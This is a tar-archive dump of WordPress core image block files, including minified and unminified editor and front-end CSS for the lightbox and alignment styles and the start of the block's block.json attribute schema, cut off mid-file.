.wp-lightbox-overlay button { border: none; background: none; } .wp-lightbox-overlay .scrim { width: 100%; height: 100%; position: absolute; z-index: 2000000; background-color: rgb(255, 255, 255); opacity: 0.9; } .wp-lightbox-overlay.active { visibility: visible; } @media not (prefers-reduced-motion) { .wp-lightbox-overlay.active { animation: both turn-on-visibility 0.25s; } } @media not (prefers-reduced-motion) { .wp-lightbox-overlay.active img { animation: both turn-on-visibility 0.35s; } } @media not (prefers-reduced-motion) { .wp-lightbox-overlay.show-closing-animation:not(.active) { animation: both turn-off-visibility 0.35s; } } @media not (prefers-reduced-motion) { .wp-lightbox-overlay.show-closing-animation:not(.active) img { animation: both turn-off-visibility 0.25s; } } @media not (prefers-reduced-motion) { .wp-lightbox-overlay.zoom.active { opacity: 1; visibility: visible; animation: none; } .wp-lightbox-overlay.zoom.active .lightbox-image-container { animation: lightbox-zoom-in 0.4s; } .wp-lightbox-overlay.zoom.active .lightbox-image-container img { animation: none; } .wp-lightbox-overlay.zoom.active .scrim { animation: turn-on-visibility 0.4s forwards; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) { animation: none; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container { animation: lightbox-zoom-out 0.4s; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img { animation: none; } .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim { animation: turn-off-visibility 0.4s forwards; } } @keyframes show-content-image { 0% { visibility: hidden; } 99% { visibility: hidden; } 100% { visibility: visible; } } @keyframes turn-on-visibility { 0% { opacity: 0; } 100% { opacity: 1; } } @keyframes turn-off-visibility { 0% { opacity: 1; visibility: visible; } 99% { opacity: 0; visibility: visible; } 100% { opacity: 0; visibility: hidden; } } @keyframes lightbox-zoom-in { 0% { transform: translate(calc((-100vw + var(--wp--lightbox-scrollbar-width)) / 2 + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale)); } 100% { transform: translate(-50%, -50%) scale(1, 1); } } @keyframes lightbox-zoom-out { 0% { visibility: visible; transform: translate(-50%, -50%) scale(1, 1); } 99% { visibility: visible; } 100% { visibility: hidden; transform: translate(calc((-100vw + var(--wp--lightbox-scrollbar-width)) / 2 + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale)); } } image/style-rtl.min.css 0000644 00000021132 15217610757 0011073 0 ustar 00 .wp-block-image>a,.wp-block-image>figure>a{display:inline-block}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}@media not (prefers-reduced-motion){.wp-block-image img.hide{visibility:hidden}.wp-block-image img.show{animation:show-content-image .4s}}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{width:100%}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-image.is-style-circle-mask img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){border-radius:9999px}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;backdrop-filter:blur(16px) saturate(180%);background-color:#5a5a5a40;border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;left:16px;opacity:0;padding:0;position:absolute;text-align:center;top:16px;width:20px;z-index:100}@media not (prefers-reduced-motion){.wp-lightbox-container button{transition:opacity .2s ease}}.wp-lightbox-container button:focus-visible{outline:3px auto #5a5a5a40;outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:#5a5a5a40;border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;overflow:hidden;position:fixed;right:0;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .wp-lightbox-close-button{align-items:center;cursor:pointer;display:flex;font-family:inherit;gap:8px;justify-content:center;left:calc(env(safe-area-inset-left) + 16px);line-height:1;min-height:40px;min-width:40px;padding:0 4px;position:absolute;top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .wp-lightbox-close-button:focus,.wp-lightbox-overlay .wp-lightbox-close-button:hover,.wp-lightbox-overlay .wp-lightbox-close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .wp-lightbox-close-button:has(.wp-lightbox-close-text:not([hidden])) .wp-lightbox-close-icon svg{height:1em;width:1em}.wp-lightbox-overlay .wp-lightbox-close-icon svg{display:block}.wp-lightbox-overlay .wp-lightbox-navigation-button-next,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev{align-items:center;bottom:16px;cursor:pointer;display:flex;font-family:inherit;gap:4px;justify-content:center;line-height:1;min-height:40px;min-width:40px;padding:0 8px;position:absolute;z-index:2000002}.wp-lightbox-overlay .wp-lightbox-navigation-button-next[hidden],.wp-lightbox-overlay .wp-lightbox-navigation-button-prev[hidden]{display:none}@media (min-width:960px){.wp-lightbox-overlay .wp-lightbox-navigation-button-next,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev{bottom:50%;transform:translateY(-50%)}}.wp-lightbox-overlay .wp-lightbox-navigation-button-next:focus,.wp-lightbox-overlay .wp-lightbox-navigation-button-next:hover,.wp-lightbox-overlay .wp-lightbox-navigation-button-next:not(:hover):not(:active):not(.has-background),.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:focus,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:hover,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:not(:hover):not(:active):not(.has-background){background:none;border:none;padding:0 8px}.wp-lightbox-overlay .wp-lightbox-navigation-button-next:has(.wp-lightbox-navigation-text:not([hidden])) .wp-lightbox-navigation-icon svg,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:has(.wp-lightbox-navigation-text:not([hidden])) .wp-lightbox-navigation-icon svg{display:block;height:1.5em;width:1.5em}.wp-lightbox-overlay .wp-lightbox-navigation-button-prev{right:calc(env(safe-area-inset-right) + 16px)}.wp-lightbox-overlay .wp-lightbox-navigation-button-next{left:calc(env(safe-area-inset-left) + 16px)}.wp-lightbox-overlay .wp-lightbox-navigation-icon svg{vertical-align:middle}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);overflow:hidden;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);transform-origin:top right;width:var(--wp--lightbox-container-width);z-index:2000001}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:100% 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{visibility:visible}@media not (prefers-reduced-motion){.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes show-content-image{0%{visibility:hidden}99%{visibility:hidden}to{visibility:visible}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}} image/style.min.css 0000644 00000021120 15217610757 0010271 0 ustar 00 .wp-block-image>a,.wp-block-image>figure>a{display:inline-block}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}@media not (prefers-reduced-motion){.wp-block-image img.hide{visibility:hidden}.wp-block-image img.show{animation:show-content-image .4s}}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{width:100%}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-image.is-style-circle-mask img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){border-radius:9999px}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;backdrop-filter:blur(16px) saturate(180%);background-color:#5a5a5a40;border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;opacity:0;padding:0;position:absolute;right:16px;text-align:center;top:16px;width:20px;z-index:100}@media not (prefers-reduced-motion){.wp-lightbox-container button{transition:opacity .2s ease}}.wp-lightbox-container button:focus-visible{outline:3px auto #5a5a5a40;outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:#5a5a5a40;border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;left:0;overflow:hidden;position:fixed;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .wp-lightbox-close-button{align-items:center;cursor:pointer;display:flex;font-family:inherit;gap:8px;justify-content:center;line-height:1;min-height:40px;min-width:40px;padding:0 4px;position:absolute;right:calc(env(safe-area-inset-right) + 16px);top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .wp-lightbox-close-button:focus,.wp-lightbox-overlay .wp-lightbox-close-button:hover,.wp-lightbox-overlay .wp-lightbox-close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .wp-lightbox-close-button:has(.wp-lightbox-close-text:not([hidden])) .wp-lightbox-close-icon svg{height:1em;width:1em}.wp-lightbox-overlay .wp-lightbox-close-icon svg{display:block}.wp-lightbox-overlay .wp-lightbox-navigation-button-next,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev{align-items:center;bottom:16px;cursor:pointer;display:flex;font-family:inherit;gap:4px;justify-content:center;line-height:1;min-height:40px;min-width:40px;padding:0 8px;position:absolute;z-index:2000002}.wp-lightbox-overlay .wp-lightbox-navigation-button-next[hidden],.wp-lightbox-overlay .wp-lightbox-navigation-button-prev[hidden]{display:none}@media (min-width:960px){.wp-lightbox-overlay .wp-lightbox-navigation-button-next,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev{bottom:50%;transform:translateY(-50%)}}.wp-lightbox-overlay .wp-lightbox-navigation-button-next:focus,.wp-lightbox-overlay .wp-lightbox-navigation-button-next:hover,.wp-lightbox-overlay .wp-lightbox-navigation-button-next:not(:hover):not(:active):not(.has-background),.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:focus,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:hover,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:not(:hover):not(:active):not(.has-background){background:none;border:none;padding:0 8px}.wp-lightbox-overlay .wp-lightbox-navigation-button-next:has(.wp-lightbox-navigation-text:not([hidden])) .wp-lightbox-navigation-icon svg,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:has(.wp-lightbox-navigation-text:not([hidden])) .wp-lightbox-navigation-icon svg{display:block;height:1.5em;width:1.5em}.wp-lightbox-overlay .wp-lightbox-navigation-button-prev{left:calc(env(safe-area-inset-left) + 16px)}.wp-lightbox-overlay .wp-lightbox-navigation-button-next{right:calc(env(safe-area-inset-right) + 16px)}.wp-lightbox-overlay .wp-lightbox-navigation-icon svg{vertical-align:middle}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);left:50%;overflow:hidden;position:absolute;top:50%;transform:translate(-50%,-50%);transform-origin:top left;width:var(--wp--lightbox-container-width);z-index:2000001}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:0 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{visibility:visible}@media not (prefers-reduced-motion){.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes show-content-image{0%{visibility:hidden}99%{visibility:hidden}to{visibility:visible}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(-50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(-50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}} image/editor-rtl.min.css 0000644 00000004411 15217610757 0011222 0 ustar 00 .wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{min-height:60px}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-image__placeholder{aspect-ratio:4/3}.wp-block-image__placeholder.has-illustration:before{background:#fff;opacity:.8}.wp-block-image__placeholder .components-placeholder__illustration{opacity:.1}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=right]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align]:has(>.wp-block-image){position:relative}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container{pointer-events:auto}.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__toolbar_content_textarea__container{padding:8px}.wp-block-image__toolbar_content_textarea{width:250px} image/editor-rtl.css 0000644 00000010653 15217610757 0010445 0 ustar 00 /** * Colors */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-image.wp-block-image .block-editor-media-placeholder.is-small { min-height: 60px; } figure.wp-block-image:not(.wp-block) { margin: 0; } .wp-block-image { position: relative; } .wp-block-image .is-applying img, .wp-block-image.is-transient img { opacity: 0.3; } .wp-block-image figcaption img { display: inline; } .wp-block-image .components-spinner { position: absolute; top: 50%; right: 50%; transform: translate(50%, -50%); margin: 0; } .wp-block-image__placeholder { aspect-ratio: 4/3; } .wp-block-image__placeholder.has-illustration::before { background: #fff; opacity: 0.8; } .wp-block-image__placeholder .components-placeholder__illustration { opacity: 0.1; } .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal { position: absolute; right: 0; left: 0; margin: -1px 0; } @media (min-width: 600px) { .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal { margin: -1px; } } [data-align=wide] > .wp-block-image img, [data-align=full] > .wp-block-image img { height: auto; width: 100%; } .wp-block[data-align=left] > .wp-block-image, .wp-block[data-align=center] > .wp-block-image, .wp-block[data-align=right] > .wp-block-image { display: table; } .wp-block[data-align=left] > .wp-block-image > figcaption, .wp-block[data-align=center] > .wp-block-image > figcaption, .wp-block[data-align=right] > .wp-block-image > figcaption { display: table-caption; caption-side: bottom; } .wp-block[data-align=left] > .wp-block-image { margin-left: 1em; margin-right: 0; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block[data-align=right] > .wp-block-image { margin-right: 1em; margin-left: 0; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block[data-align=center] > .wp-block-image { margin-right: auto; margin-left: auto; text-align: center; } .wp-block[data-align]:has(> .wp-block-image) { position: relative; } .wp-block-image__crop-area { position: relative; max-width: 100%; width: 100%; overflow: hidden; } .wp-block-image__crop-area .reactEasyCrop_Container { pointer-events: auto; } .wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image { border: none; border-radius: 0; } .wp-block-image__crop-icon { padding: 0 8px; min-width: 48px; display: flex; justify-content: center; align-items: center; } .wp-block-image__crop-icon svg { fill: currentColor; } .wp-block-image__zoom .components-popover__content { min-width: 260px; overflow: visible !important; } .wp-block-image__toolbar_content_textarea__container { padding: 8px; } .wp-block-image__toolbar_content_textarea { width: 250px; } image/editor.css 0000644 00000010653 15217610757 0007646 0 ustar 00 /** * Colors */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-image.wp-block-image .block-editor-media-placeholder.is-small { min-height: 60px; } figure.wp-block-image:not(.wp-block) { margin: 0; } .wp-block-image { position: relative; } .wp-block-image .is-applying img, .wp-block-image.is-transient img { opacity: 0.3; } .wp-block-image figcaption img { display: inline; } .wp-block-image .components-spinner { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); margin: 0; } .wp-block-image__placeholder { aspect-ratio: 4/3; } .wp-block-image__placeholder.has-illustration::before { background: #fff; opacity: 0.8; } .wp-block-image__placeholder .components-placeholder__illustration { opacity: 0.1; } .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal { position: absolute; left: 0; right: 0; margin: -1px 0; } @media (min-width: 600px) { .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal { margin: -1px; } } [data-align=wide] > .wp-block-image img, [data-align=full] > .wp-block-image img { height: auto; width: 100%; } .wp-block[data-align=left] > .wp-block-image, .wp-block[data-align=center] > .wp-block-image, .wp-block[data-align=right] > .wp-block-image { display: table; } .wp-block[data-align=left] > .wp-block-image > figcaption, .wp-block[data-align=center] > .wp-block-image > figcaption, .wp-block[data-align=right] > .wp-block-image > figcaption { display: table-caption; caption-side: bottom; } .wp-block[data-align=left] > .wp-block-image { margin-right: 1em; margin-left: 0; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block[data-align=right] > .wp-block-image { margin-left: 1em; margin-right: 0; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block[data-align=center] > .wp-block-image { margin-left: auto; margin-right: auto; text-align: center; } .wp-block[data-align]:has(> .wp-block-image) { position: relative; } .wp-block-image__crop-area { position: relative; max-width: 100%; width: 100%; overflow: hidden; } .wp-block-image__crop-area .reactEasyCrop_Container { pointer-events: auto; } .wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image { border: none; border-radius: 0; } .wp-block-image__crop-icon { padding: 0 8px; min-width: 48px; display: flex; justify-content: center; align-items: center; } .wp-block-image__crop-icon svg { fill: currentColor; } .wp-block-image__zoom .components-popover__content { min-width: 260px; overflow: visible !important; } .wp-block-image__toolbar_content_textarea__container { padding: 8px; } .wp-block-image__toolbar_content_textarea { width: 250px; } image/block.json 0000644 00000005774 15217610757 0007643 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/image", "title": "Image", "category": "media", "usesContext": [ "allowResize", "imageCrop", "fixedHeight", "navigationButtonType", "postId", "postType", "queryId", "galleryId" ], "description": "Insert an image to make a visual statement.", "keywords": [ "img", "photo", "picture" ], "textdomain": "default", "attributes": { "blob": { "type": "string", "role": "local" }, "url": { "type": "string", "source": "attribute", "selector": "img", "attribute": "src", "role": "content" }, "alt": { "type": "string", "source": "attribute", "selector": "img", "attribute": "alt", "default": "", "role": "content" }, "caption": { "type": "rich-text", "source": "rich-text", "selector": "figcaption", "role": "content" }, "lightbox": { "type": "object", "enabled": { "type": "boolean" } }, "title": { "type": "string", "source": "attribute", "selector": "img", "attribute": "title", "role": "content" }, "href": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "href", "role": "content" }, "rel": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "rel" }, "linkClass": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "class" }, "id": { "type": "number", "role": "content" }, "width": { "type": "string" }, "height": { "type": "string" }, "aspectRatio": { "type": "string" }, "scale": { "type": "string" }, "focalPoint": { "type": "object" }, "sizeSlug": { "type": "string" }, "linkDestination": { "type": "string" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "target" } }, "supports": { "interactivity": true, "align": [ 